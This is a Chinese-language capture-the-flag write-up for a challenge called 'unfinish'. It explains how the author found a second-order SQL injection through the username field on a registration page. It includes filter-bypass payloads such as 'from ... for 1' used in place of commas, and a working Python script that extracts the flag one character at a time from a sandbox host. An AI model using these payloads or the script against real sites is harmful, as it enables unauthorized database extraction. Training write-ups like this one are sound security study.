unfinish
打開是一個手機模板的登錄頁面,看了下源碼,發現有個文件夾./uploads/
,亂掃一通什么都沒有
還是到登陸頁面,先試試萬能密碼
有提示,看了下input標簽,是前端檢測,用burp抓包開始fuzz
嘗試了請求頭,email和password注入,包括post數組嘗試報錯,都沒有用
emmmmm,思路斷了
去看了wp,發現是要嘗試注冊頁面,接着做(思路太窄了
登陸進來什么都沒有,只顯示了用戶名
而用戶名是可控的,推測注冊用戶時會使用
insert into table value('$email','$username','$password')
嘗試一下這里是不是二次注入(這里注入,登陸后可以看到結果
語句0' + ascii(substr(database(),1,1)) +'0
被過濾
嘗試了一遍,這里會檢測逗號,用from 1 for 1
代替掉逗號就行
0' + ascii(substr(database() from 1 for 1)) +'0
登錄之后可以看到ascii碼
之后寫腳本跑就可以了
這里在寫腳本之前測試了一下被ban掉的關鍵字,emmmm,information_schema被ban了,那么就爆不了表名,所以猜測表名為flag,測試了一下表名確實為flag,剩下的硬跑就可以了
注冊頁面:./register.php
登陸頁面:./login.php
這里給出爆破的腳本(偷了個懶,沒加結束檢測,看到flag爆完手動ctrl + c
import requests
import re
register_url = 'http://challenge-c32051a67059fd4a.sandbox.ctfhub.com:10080/register.php'
login_url = 'http://challenge-c32051a67059fd4a.sandbox.ctfhub.com:10080/login.php'
for i in range(1, 100):
register_data = {
'email': '111@123.com%d' % i,
'username': "0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i,
'password': 'admin'
}
res = requests.post(url=register_url, data=register_data)
login_data = {
'email': '111@123.com%d' % i,
'password': 'admin'
}
res_ = requests.post(url=login_url, data=login_data)
code = re.search(r'<span class="user-name">\s*(\d*)\s*</span>', res_.text)
print(chr(int(code.group(1))), end='')
爆出flag
我的做題思路比較窄,比如這里的登陸頁面聯想到注冊頁面,還需要多做多看
這里的二次注入也不是很熟悉,我的理解有點僵硬,覺得只能是單次請求的兩次查詢,這種思想要改正
多肝,共勉